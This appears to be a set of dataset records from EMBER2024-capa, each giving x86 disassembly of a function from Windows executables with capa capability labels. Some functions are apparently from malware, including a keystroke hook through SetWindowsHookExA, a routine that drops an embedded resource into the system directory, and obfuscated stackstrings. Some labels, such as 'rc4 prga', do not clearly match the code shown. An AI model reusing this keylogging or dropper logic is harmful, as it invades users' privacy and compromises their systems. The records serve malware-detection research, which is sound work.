joyce8/EMBER2024-capa huggingface dataset:
Function at 0x404572
Capabilities:
Query or enumerate registry value

Disassembly:
enter 0x10, 2
and dword [ebp - 0x18], 0
mov dword [ebp - 0x10], 0xfe
mov dword [ebp - 0x14], 0xfe
lea eax, [ebp - 0x14]
push eax
mov eax, dword [ebp - 4]
add eax, 0xfffffdec
push eax
lea eax, [ebp - 0x18]
push eax
push 0
lea eax, [ebp - 0x10]
push eax
mov eax, dword [ebp - 4]
add eax, 0xfffffeee
push eax
mov eax, dword [ebp - 4]
push dword [eax - 0xc]
mov eax, dword [ebp - 4]
push dword [eax - 8]
call sub.advapi32.dll_RegEnumValueA
leave
ret

Function at 0x4052a3
Capabilities:
Log keystrokes via application hook

Disassembly:
enter 0x108, 2
push ebx
push esi
mov bl, 0
cmp dword [ebp + 8], 0
je 0x4052c0
lea eax, [ebp - 0x10f]
push eax
push dword [ebp + 8]
call fcn.004071ca
lea eax, [ebp - 0x10f]
push eax
mov eax, dword [0x40b54c]
push dword [eax + 0x138]
call fcn.0040721d
lea eax, [ebp - 0x10f]
push eax
call sub.kernel32.dll_LoadLibraryA
mov esi, eax
test esi, esi
je 0x405335
mov eax, dword [0x40b54c]
push dword [eax + 0x13c]
push esi
call sub.kernel32.dll_GetProcAddress
mov dword [0x40fbad], eax
cmp dword [0x40fbad], 0
je 0x40531d
push 0
push esi
push dword [0x40fbad]
push 2
call sub.user32.dll_SetWindowsHookExA
mov dword [0x40fd4d], eax
mov eax, dword [0x40b54c]
push dword [eax + 0xe0]
push esi
call sub.kernel32.dll_GetProcAddress
mov dword [0x40b554], eax
mov bl, 1
mov al, bl
pop esi
pop ebx
leave
ret 4

Function at 0x40533d
Capabilities:
Extract resource via kernel32 functions

Disassembly:
enter 0x118, 1
push esi
push edi
push 0x66
push 0x65
push 0
call sub.kernel32.dll_FindResourceA
mov esi, eax
test esi, esi
je 0x405423
push esi
push 0
call sub.kernel32.dll_LoadResource
mov edi, eax
push esi
push 0
call sub.kernel32.dll_SizeofResource
mov dword [ebp - 0x18], eax
push edi
call sub.kernel32.dll_LockResource
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x11a]
push eax
push 0x40b9a1
call fcn.004071ca
lea eax, [ebp - 0x11a]
push eax
mov eax, dword [0x40b54c]
push dword [eax + 0x138]
call fcn.0040721d
push 0
push 2
push 2
push 0
push 0
push 0x40000000
lea eax, [ebp - 0x11a]
push eax
call sub.kernel32.dll_CreateFileA
mov esi, eax
cmp esi, 0xffffffff
jne 0x405406
lea eax, [ebp - 0x11a]
push eax
call fcn.00401090
push eax
call fcn.004071ca
lea eax, [ebp - 0x11a]
push eax
mov eax, dword [0x40b54c]
push dword [eax + 0x138]
call fcn.0040721d
push 0
push 2
push 2
push 0
push 0
push 0x40000000
lea eax, [ebp - 0x11a]
push eax
call sub.kernel32.dll_CreateFileA
mov esi, eax
cmp esi, 0xffffffff
je 0x405417
push dword [ebp - 0x18]
push dword [ebp - 0x10]
push esi
call sub.kernel32.dll__lwrite
push esi
call sub.kernel32.dll_CloseHandle
push edi
call fcn.00407321
push 0x40a9c1
call fcn.004052a3
test al, al
jne 0x40543c
call fcn.00401090
push eax
call fcn.004052a3
pop edi
pop esi
leave
ret
Function at 0x406462
Capabilities:
Get common file path
Get file size

Disassembly:
mov ecx, 0x40b09c
mov eax, 0x8000
call fcn.00408f48
call fcn.00409178
call fcn.0040719b
enter 0x104, 0
push 0x40b0ac
push 0x40662d
call fcn.004081d8
and dword [0x40b588], 0
push 1
call sub.kernel32.dll_SetErrorMode
call fcn.00405e35
mov eax, dword [0x40b54c]
push dword [eax + 0xe8]
call sub.kernel32.dll_GetModuleHandleA
mov dword [0x40b580], eax
cmp dword [0x40b580], 0
je 0x4064f8
mov eax, dword [0x40b54c]
push dword [eax + 0xec]
push dword [0x40b580]
call sub.kernel32.dll_GetProcAddress
mov dword [0x40b558], eax
cmp dword [0x40b558], 0
je 0x4064ed
push 1
push 0
call dword [0x40b558]
push dword [0x40b580]
call sub.kernel32.dll_FreeLibrary
push 0x100
push 0x40b89f
call sub.kernel32.dll_GetWindowsDirectoryA
push 0x40b89f
call fcn.00401056
push 0x100
push 0x40b9a1
call sub.kernel32.dll_GetSystemDirectoryA
push 0x40b9a1
call fcn.00401056
push 0x40b570
lea eax, [ebp - 0x104]
push eax
lea eax, [ebp - 0x100]
push eax
push 0
call fcn.00408818
call fcn.00407b38
pop eax
push dword [eax]
call fcn.00407bec
push 0x6ead
push 0
call fcn.004072bf
mov dword [0x40b741], eax
push 0x6ead
push 0
call fcn.004072bf
mov dword [0x40b745], eax
push 0
mov eax, dword [0x40b570]
push eax
call sub.kernel32.dll__lopen
mov dword [0x40b580], eax
cmp dword [0x40b580], 0xffffffff
jne 0x406593
jmp 0x406615
push 0x6eac
push dword [0x40b741]
push dword [0x40b580]
call sub.kernel32.dll__lread
cmp eax, 0xffffffff
jne 0x4065b0
jmp 0x406615
push 0
push dword [0x40b580]
call sub.kernel32.dll_GetFileSize
mov dword [0x40b574], eax
push dword [0x40b580]
call sub.kernel32.dll__lclose
cmp eax, 0xffffffff
jne 0x4065d4
jmp 0x406615
cmp dword [0x40b574], 0x6eac
jle 0x4065e5
call fcn.00403892
call fcn.00405b3b
push dword [0x40b741]
call fcn.00407302
push dword [0x40b745]
call fcn.00407302
call fcn.00402205
call fcn.00405052
push dword [0x40b54c]
call fcn.0040747c
xor eax, eax
pop dword fs:[eax]
add esp, 8
push 0x406634
push 0x40b0ac
call fcn.0040822c
ret

Function at 0x406994
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push esi
push 0
mov eax, dword [ebp + 8]
push eax
push dword [ebp + 0xc]
mov eax, dword [ebp + 0x10]
push eax
push dword [ebp + 0x14]
call sub.kernel32.dll_WriteFile
test eax, eax
setne al
movsx eax, al
push eax
call fcn.00406800
mov esi, eax
cmp dword [0x40b16b], 0xffffffff
je 0x4069f5
mov eax, dword [ebp + 0x14]
cmp eax, dword [0x40b167]
jne 0x4069f5
lea eax, [ebp - 0x1a]
push eax
push dword [0x40b167]
call sub.kernel32.dll_GetConsoleScreenBufferInfo
movsx eax, word [ebp - 0x16]
mov dword [0x40b173], eax
movsx eax, word [ebp - 0x14]
mov dword [0x40b177], eax
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret 0x10
Function at 0x406b0c
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38c
push esi
push edi
mov edi, 3
push 0x40b53c
call fcn.00408e5c
mov esi, dword [eax]
push 0x40b53c
call fcn.00408e5c
mov dword [eax], 0x40
lea eax, [ebp - 0x150]
push eax
lea eax, [ebp - 0x38c]
push eax
push 0
call fcn.00408818
call fcn.00408690
lea eax, [ebp - 0x150]
push eax
push 1
call fcn.0040871c
call fcn.00407378
test eax, eax
jne 0x406c4d
lea eax, [ebp - 0x150]
push eax
lea eax, [ebp - 0x190]
push eax
push 0x40
push 0
call fcn.004087f0
call fcn.00407378
test eax, eax
jne 0x406bc3
cmp word [ebp - 0x190], 0x5a4d
jne 0x406bc3
lea eax, [ebp - 0x150]
push eax
push dword [ebp - 0x154]
call fcn.00408738
lea eax, [ebp - 0x150]
push eax
lea eax, [ebp - 0x190]
push eax
push 2
push 0
call fcn.004087f0
jmp 0x406bcd
mov dword [ebp - 0x154], 0
lea eax, [ebp - 0x150]
push eax
push dword [ebp - 0x154]
call fcn.00408738
call fcn.00407378
test eax, eax
jne 0x406c31
cmp word [ebp - 0x190], 0x4550
jne 0x406c31
lea eax, [ebp - 0x150]
push eax
lea eax, [ebp - 0x288]
push eax
push 0xf8
push 0
call fcn.004087f0
call fcn.00407378
test eax, eax
jne 0x406c31
cmp dword [ebp - 0x288], 0x4550
jne 0x406c31
cmp word [ebp - 0x22c], 3
jne 0x406c31
mov edi, 2
lea eax, [ebp - 0x150]
push eax
call fcn.00408768
push 0x40b534
call fcn.00408e5c
mov dword [eax], 0
push 0x40b53c
call fcn.00408e5c
mov dword [eax], esi
mov eax, edi
pop edi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x406dbc
Capabilities:
Contain obfuscated stackstrings
Read file via mapping

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
push ebx
push esi
mov dword [ebp - 0x21], 0x52414853
mov dword [ebp - 0x1d], 0x454d4445
mov dword [ebp - 0x19], 0x5356344d
call sub.kernel32.dll_GetCurrentProcessId
push eax
push 0
lea eax, [ebp - 0x15]
push eax
push 0xb
call fcn.00407f30
xor eax, eax
mov bl, 0
push 0x40b0d0
push 1
call fcn.004067bc
test eax, eax
jne 0x406e10
push 0x2000
call fcn.0040744c
mov esi, eax
mov bl, 1
jmp 0x406e46
lea ecx, [ebp - 0x21]
push ecx
push 0
push 6
call eax
test eax, eax
jne 0x406e36
lea eax, [ebp - 0x21]
push eax
push 0x2000
push 0
push 4
push 0
push 0xffffffffffffffff
call sub.kernel32.dll_CreateFileMappingA
mov bl, 1
push 0
push 0
push 0
push 6
push eax
call sub.kernel32.dll_MapViewOfFile
mov esi, eax
test bl, bl
je 0x406e6f
push esi
push 0x2000
push 0xff
call fcn.00407fd8
push esi
push 0x18
push 0
call fcn.00407fd8
mov eax, esi
add eax, 0xc
push eax
call fcn.00407524
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x408a1c
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
push esi
or esi, 0xffffffff
or eax, 0xffffffff
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x10], 0
mov edx, dword [0x40b1dc]
add edx, 0x18
cmp dword [edx], 0xffffffff
je 0x408b44
mov ecx, dword [edx + 8]
cmp ecx, dword [ebp + 0x10]
ja 0x408b3c
mov ecx, dword [edx + 8]
sub dword [ebp + 0x10], ecx
mov ecx, dword [edx + 8]
mov dword [ebp - 0x18], ecx
mov edx, dword [edx + 0xc]
test edx, edx
jne 0x408a6d
jmp 0x408b44
mov cl, byte [edx]
sub cl, 0x3c
jne 0x408a7b
jmp 0x408b3a
sub cl, 3
jne 0x408a95
inc edx
mov dword [ebp - 0xc], edx
movzx ecx, byte [edx]
inc ecx
add edx, ecx
mov byte [ebp - 0x25], 1
jmp 0x408b35
inc cl
jne 0x408aa9
movzx ecx, word [edx + 1]
add esi, ecx
add edx, 3
jmp 0x408b35
inc cl
jne 0x408abd
movzx ecx, word [edx + 1]
add esi, ecx
mov ecx, dword [edx + 3]
add eax, ecx
add edx, 7
jmp 0x408ad0
movzx ecx, byte [edx]
shr ecx, 6
add esi, ecx
mov cl, byte [edx]
and cl, 0x3f
movzx ecx, cl
add eax, ecx
inc edx
cmp eax, dword [ebp + 0x10]
jne 0x408adb
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x24], esi
cmp eax, dword [ebp + 0x10]
jl 0x408b2b
sub eax, dword [ebp + 0x10]
cmp eax, 0xa
jle 0x408aee
cmp byte [ebp - 0x25], 0
jne 0x408b29
mov eax, dword [ebp - 0xc]
mov cl, byte [eax]
mov eax, dword [ebp + 0xc]
mov byte [eax], cl
xor edx, edx
mov eax, dword [ebp - 0xc]
movzx eax, byte [eax]
cmp eax, edx
jle 0x408b16
inc edx
mov eax, dword [ebp - 0xc]
mov cl, byte [edx + eax]
xor cl, 0xaa
mov eax, dword [ebp + 0xc]
mov byte [edx + eax], cl
jmp 0x408afa
movzx eax, word [ebp - 0x24]
mov ecx, dword [ebp + 8]
mov dword [ecx], eax
mov eax, dword [ebp - 0x10]
add eax, dword [ebp - 0x18]
jmp 0x408b46
jmp 0x408b3a
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x24], esi
mov byte [ebp - 0x25], 0
jmp 0x408a6d
jmp 0x408b44
add edx, 0x10
jmp 0x408a40
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret 0xc

Function at 0x408f48
Capabilities:
Query environment variable

Disassembly:
sub esp, 0x10
cld
push ecx
call fcn.0040738c
call fcn.00408f24
call fcn.00406dbc
mov dword [0x40b1dc], eax
pop edx
call fcn.00408e00
call sub.kernel32.dll_GetEnvironmentStrings
mov dword [0x40b204], eax
push 0
call sub.kernel32.dll_GetModuleHandleA
mov dword [0x40b218], eax
mov dword [0x40b240], eax
call fcn.00406b0c
cmp eax, 3
setb byte [0x40b1e5]
lea eax, [esp]
xor edx, edx
mov ecx, dword fs:[edx]
mov dword fs:[edx], eax
mov dword [eax], ecx
mov dword [eax + 4], 0x40909c
mov dword [eax + 8], ebp
jmp dword [esp + 0x10]
Function at 0x402ed0
Capabilities:
Set current directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xd4
mov eax, dword [0x4cc3d0]
xor eax, ebp
mov dword [ebp - 4], eax
lea eax, [ebp - 0x3c]
push 1
push eax
call fcn.00461860
lea eax, [ebp - 0x3c]
push eax
call fcn.00402a10
add esp, 0xc
test al, al
jne 0x402f10
cmp dword [ebp - 0x28], 8
lea eax, [ebp - 0x3c]
cmovae eax, dword [ebp - 0x3c]
push eax
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
push ebx
lea ecx, [ebp - 0xd4]
call fcn.00403360
lea eax, [ebp - 0xa8]
mov dword [ebp - 0xa8], 0
push eax
lea eax, [ebp - 0x1c]
mov dword [ebp - 0xa4], 0
push eax
lea ecx, [ebp - 0xd4]
mov dword [ebp - 0xa0], 0
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 8], 7
call fcn.004037a0
mov edx, dword [ebp - 8]
mov ebx, eax
cmp edx, 8
jb 0x402fa1
mov ecx, dword [ebp - 0x1c]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x402f97
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40311b
push edx
push ecx
call fcn.00471e9b
add esp, 8
push esi
mov esi, dword [ebp - 0xa8]
xor eax, eax
mov dword [ebp - 0xc], 0
mov dword [ebp - 8], 7
mov word [ebp - 0x1c], ax
test esi, esi
je 0x403071
push edi
mov edi, dword [ebp - 0xa4]
cmp esi, edi
je 0x403029
nop
mov ecx, dword [esi + 0x14]
cmp ecx, 8
jb 0x403009
mov eax, dword [esi]
lea ecx, [ecx*2 + 2]
cmp ecx, 0x1000
jb 0x402fff
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40311b
mov eax, edx
push ecx
push eax
call fcn.00471e9b
add esp, 8
xor eax, eax
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 7
mov word [esi], ax
add esi, 0x18
cmp esi, edi
jne 0x402fd0
mov esi, dword [ebp - 0xa8]
mov ecx, dword [ebp - 0xa0]
mov eax, 0x2aaaaaab
sub ecx, esi
imul ecx
pop edi
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
lea ecx, [eax + eax*2]
mov eax, esi
shl ecx, 3
cmp ecx, 0x1000
jb 0x403067
mov esi, dword [esi - 4]
add ecx, 0x23
sub eax, esi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40311b
push ecx
push esi
call fcn.00471e9b
add esp, 8
pop esi
cmp ebx, 0xffffffff
je 0x40307d
cmp bx, 1
jne 0x4030c7
lea eax, [ebp - 0xd4]
push eax
lea ecx, [ebp - 0x9c]
call fcn.0042b3a0
lea eax, [ebp - 0x9c]
push eax
lea ecx, [ebp - 0x24]
call fcn.0042c160
lea ecx, [ebp - 0x24]
call fcn.0042cb30
test al, al
je 0x4030b4
lea ecx, [ebp - 0x24]
call fcn.0042c290
mov ebx, eax
lea ecx, [ebp - 0x24]
call fcn.0042c1a0
lea ecx, [ebp - 0x9c]
call fcn.0042b520
lea ecx, [ebp - 0xd4]
call fcn.004036e0
mov edx, dword [ebp - 0x28]
cmp edx, 8
jb 0x403108
mov ecx, dword [ebp - 0x3c]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x4030fe
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x403120
push edx
push ecx
call fcn.00471e9b
add esp, 8
mov ecx, dword [ebp - 4]
mov eax, ebx
xor ecx, ebp
pop ebx
call fcn.00472108
mov esp, ebp
pop ebp
ret 0x10
call fcn.0047d41e
call fcn.0047d41e
int3
Function at 0x404ca0
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x499ec7
mov eax, dword fs:[0]
push eax
sub esp, 0x214
mov eax, dword [0x4cc3d0]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, dword [ebp + 8]
xor eax, eax
mov dword [ebp - 0x220], esi
mov dword [ebp - 0x21c], 0
mov dword [esi], 0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 7
mov word [esi], ax
push 0x208
push eax
mov dword [ebp - 4], eax
lea eax, [ebp - 0x218]
push eax
mov dword [ebp - 0x21c], 1
call fcn.00473e20
add esp, 0xc
lea eax, [ebp - 0x218]
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemWow64DirectoryW]
test eax, eax
jne 0x404d67
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x78
jne 0x404d75
push 0x208
lea eax, [ebp - 0x218]
push 0
push eax
call fcn.00473e20
add esp, 0xc
lea eax, [ebp - 0x218]
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
test eax, eax
je 0x404d75
lea eax, [ebp - 0x218]
mov ecx, esi
push eax
call fcn.00404e10
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00472108
mov esp, ebp
pop ebp
ret
Function at 0x4059f0
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x499fcd
mov eax, dword fs:[0]
push eax
sub esp, 0x34
mov eax, dword [0x4cc3d0]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, ecx
mov edi, dword [ebp + 8]
lea ecx, [ebp - 0x28]
lea esi, [edi + 4]
push esi
call fcn.00401730
cmp dword [ebp - 0x18], 0
je 0x405b0d
cmp dword [edi + 0x34], 0xffffffff
je 0x405b0d
lea ecx, [ebp - 0x28]
call fcn.004022a0
lea esi, [ebx + 8]
push esi
mov dword [ebp - 0x38], esi
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [ebx + 4], 0x15555555
mov eax, dword [ebx]
mov dword [ebp - 4], 0
mov dword [ebp - 0x2c], eax
je 0x405b60
mov dword [ebp - 0x34], ebx
push 0xc
mov byte [ebp - 4], 1
mov dword [ebp - 0x30], 0
call fcn.00471e6b
mov edx, dword [ebp - 0x2c]
add esp, 4
mov byte [ebp - 4], 0
mov dword [ebp - 0x2c], 0
mov dword [eax + 8], edi
inc dword [ebx + 4]
mov ecx, dword [edx + 4]
mov dword [eax], edx
mov dword [eax + 4], ecx
mov dword [edx + 4], eax
mov dword [ecx], eax
lea eax, [ebp - 0x2c]
push eax
push 0
push edi
push 0x406240
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [ebp - 0x30], eax
test eax, eax
je 0x405b04
cmp dword [ebx + 0x24], 0x15555555
lea edi, [ebx + 0x20]
mov ebx, dword [edi]
je 0x405b6a
mov dword [ebp - 0x40], edi
push 0xc
mov byte [ebp - 4], 2
mov dword [ebp - 0x3c], 0
call fcn.00471e6b
mov ecx, dword [ebp - 0x30]
add esp, 4
mov dword [eax + 8], ecx
inc dword [edi + 4]
mov ecx, dword [ebx + 4]
mov dword [eax], ebx
mov dword [eax + 4], ecx
mov dword [ebx + 4], eax
mov dword [ecx], eax
push esi
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
jmp 0x405b42
lea ecx, [ebp - 0x28]
call fcn.004022a0
test edi, edi
je 0x405b42
mov eax, dword [edi + 0x4c]
test eax, eax
je 0x405b29
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_UnregisterWaitEx]
mov ecx, esi
mov dword [edi + 0x4c], 0
call fcn.00405580
push 0x50
push edi
call fcn.00471e9b
add esp, 8
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00472108
mov esp, ebp
pop ebp
ret 4
push str.list_too_long
call fcn.0047032e
push str.list_too_long
call fcn.0047032e
int3
Function at 0x405f60
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x49a0db
mov eax, dword fs:[0]
push eax
sub esp, 0xc8
mov eax, dword [0x4cc3d0]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
cmp dword [esi + 0x38], 0
je 0x406069
mov edi, dword [esi + 0x34]
lea eax, [esi + 0x1c]
push eax
lea ecx, [ebp - 0x58]
call fcn.00401730
mov dword [ebp - 4], 0
test edi, edi
je 0x40605c
cmp dword [ebp - 0x48], 0
je 0x40605c
xor eax, eax
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 7
mov word [ebp - 0x28], ax
lea eax, [ebp - 0x28]
mov byte [ebp - 4], 1
push eax
lea eax, [ebp - 0x58]
push eax
push edi
lea ecx, [ebp - 0xb0]
call fcn.00413380
mov edx, dword [ebp - 0x14]
mov byte [ebp - 4], 3
cmp edx, 8
jb 0x406032
mov ecx, dword [ebp - 0x28]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x406028
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4061c5
push edx
push ecx
call fcn.00471e9b
add esp, 8
xor eax, eax
mov dword [ebp - 0x18], 0
lea ecx, [ebp - 0xb0]
mov dword [ebp - 0x14], 7
mov word [ebp - 0x28], ax
call fcn.00414d20
lea ecx, [ebp - 0xb0]
call fcn.004135f0
lea ecx, [ebp - 0x58]
call fcn.004022a0
jmp 0x4061aa
cmp dword [esi + 0x3c], 0
je 0x4061aa
lea ecx, [ebp - 0xd4]
call fcn.00406ed0
mov dword [ebp - 4], 4
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 0
lea eax, [esi + 0x1c]
mov byte [ebp - 4], 5
push eax
lea ecx, [ebp - 0x70]
call fcn.00401730
lea eax, [ebp - 0x1c]
mov byte [ebp - 4], 6
push eax
lea eax, [ebp - 0x70]
push eax
lea ecx, [ebp - 0xd4]
call fcn.00408240
lea ecx, [ebp - 0x70]
call fcn.004022a0
mov esi, dword [ebp - 0x1c]
mov byte [ebp - 4], 4
test esi, esi
je 0x406176
mov edi, dword [ebp - 0x18]
cmp esi, edi
je 0x406136
nop
mov ecx, dword [esi + 0x14]
cmp ecx, 8
jb 0x406119
mov eax, dword [esi]
lea ecx, [ecx*2 + 2]
cmp ecx, 0x1000
jb 0x40610f
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4061ca
mov eax, edx
push ecx
push eax
call fcn.00471e9b
add esp, 8
xor eax, eax
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 7
mov word [esi], ax
add esi, 0x18
cmp esi, edi
jne 0x4060e0
mov esi, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x14]
mov eax, 0x2aaaaaab
sub ecx, esi
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
lea ecx, [eax + eax*2]
mov eax, esi
shl ecx, 3
cmp ecx, 0x1000
jb 0x40616c
mov esi, dword [esi - 4]
add ecx, 0x23
sub eax, esi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4061ca
push ecx
push esi
call fcn.00471e9b
add esp, 8
lea eax, [ebp - 0x40]
push eax
lea ecx, [ebp - 0xd4]
call fcn.00407220
cmp dword [ebp - 0x2c], 8
lea eax, [ebp - 0x40]
cmovae eax, dword [ebp - 0x40]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
lea ecx, [ebp - 0x40]
call fcn.004022a0
lea ecx, [ebp - 0xd4]
call fcn.00407000
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00472108
mov esp, ebp
pop ebp
ret
call fcn.0047d41e
call fcn.0047d41e
int3
Function at 0x40db70
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x49ab60
mov eax, dword fs:[0]
push eax
sub esp, 0x234
mov eax, dword [0x4cc3d0]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, dword [ebp + 8]
lea eax, [ebp - 0x21c]
mov ebx, dword [ebp + 0xc]
push 0x20a
push 0
mov dword [ebp - 0x224], esi
push eax
mov dword [ebp - 0x224], ebx
call fcn.00473e20
add esp, 0xc
mov eax, ebx
cmp dword [ebx + 0x14], 8
jb 0x40dbd0
mov eax, dword [ebx]
push 0x104
lea ecx, [ebp - 0x21c]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
mov ecx, eax
mov dword [ebp - 0x240], ecx
test ecx, ecx
je 0x40dd78
cmp ecx, 0x104
ja 0x40dc3c
xor eax, eax
mov dword [esi], 0
lea ecx, [ebp - 0x21c]
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 7
lea edx, [ecx + 2]
mov word [esi], ax
lea ecx, [ecx]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x40dc20
sub ecx, edx
lea eax, [ebp - 0x21c]
sar ecx, 1
push ecx
push eax
jmp 0x40dd97
lea eax, [ecx + 1]
mov dword [ebp - 0x234], 0
xor edi, edi
mov dword [ebp - 0x220], eax
xor ebx, ebx
mov dword [ebp - 0x230], edi
mov dword [ebp - 0x22c], edi
mov dword [ebp - 0x228], ebx
test eax, eax
je 0x40dcf5
cmp eax, 0x7fffffff
ja 0x40ddbc
push eax
lea ecx, [ebp - 0x230]
call fcn.00402bd0
mov ecx, dword [ebp - 0x220]
mov edi, eax
mov dword [ebp - 0x238], 0
mov dword [ebp - 0x23c], edi
mov dword [ebp - 0x230], edi
lea edx, [ecx + ecx]
lea ecx, [ebp - 0x234]
mov ax, word [ecx]
lea ebx, [edx + edi]
lea ecx, [ebp - 0x238]
mov dword [ebp - 0x228], ebx
cmp ax, word [ecx]
mov ecx, dword [ebp - 0x220]
jne 0x40dcd6
push edx
push 0
push edi
call fcn.00473e20
add esp, 0xc
jmp 0x40dce7
xor eax, eax
shr ecx, 1
rep stosd dword es:[edi], eax
adc ecx, ecx
rep stosw word es:[edi], ax
mov edi, dword [ebp - 0x23c]
mov ecx, dword [ebp - 0x240]
mov eax, ebx
mov dword [ebp - 0x22c], eax
mov eax, dword [ebp - 0x224]
mov dword [ebp - 4], 0
cmp dword [eax + 0x14], 8
jb 0x40dd0a
mov eax, dword [eax]
push ecx
push edi
push eax
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
mov ecx, edi
mov dword [esi], 0
xor eax, eax
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 7
mov word [esi], ax
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x40dd31
sub ecx, edx
sar ecx, 1
push ecx
push edi
mov ecx, esi
call fcn.00402db0
test edi, edi
je 0x40dd9e
sub ebx, edi
mov eax, edi
and ebx, 0xfffffffe
cmp ebx, 0x1000
jb 0x40dd6c
mov edi, dword [edi - 4]
add ebx, 0x23
sub eax, edi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40ddc1
push ebx
push edi
call fcn.00471e9b
add esp, 8
jmp 0x40dd9e
xor eax, eax
mov dword [esi], 0
push eax
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 7
mov word [esi], ax
push 0x4a46a8
mov ecx, esi
call fcn.00402db0
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00472108
mov esp, ebp
pop ebp
ret
call fcn.00402a00
call fcn.0047d41e
int3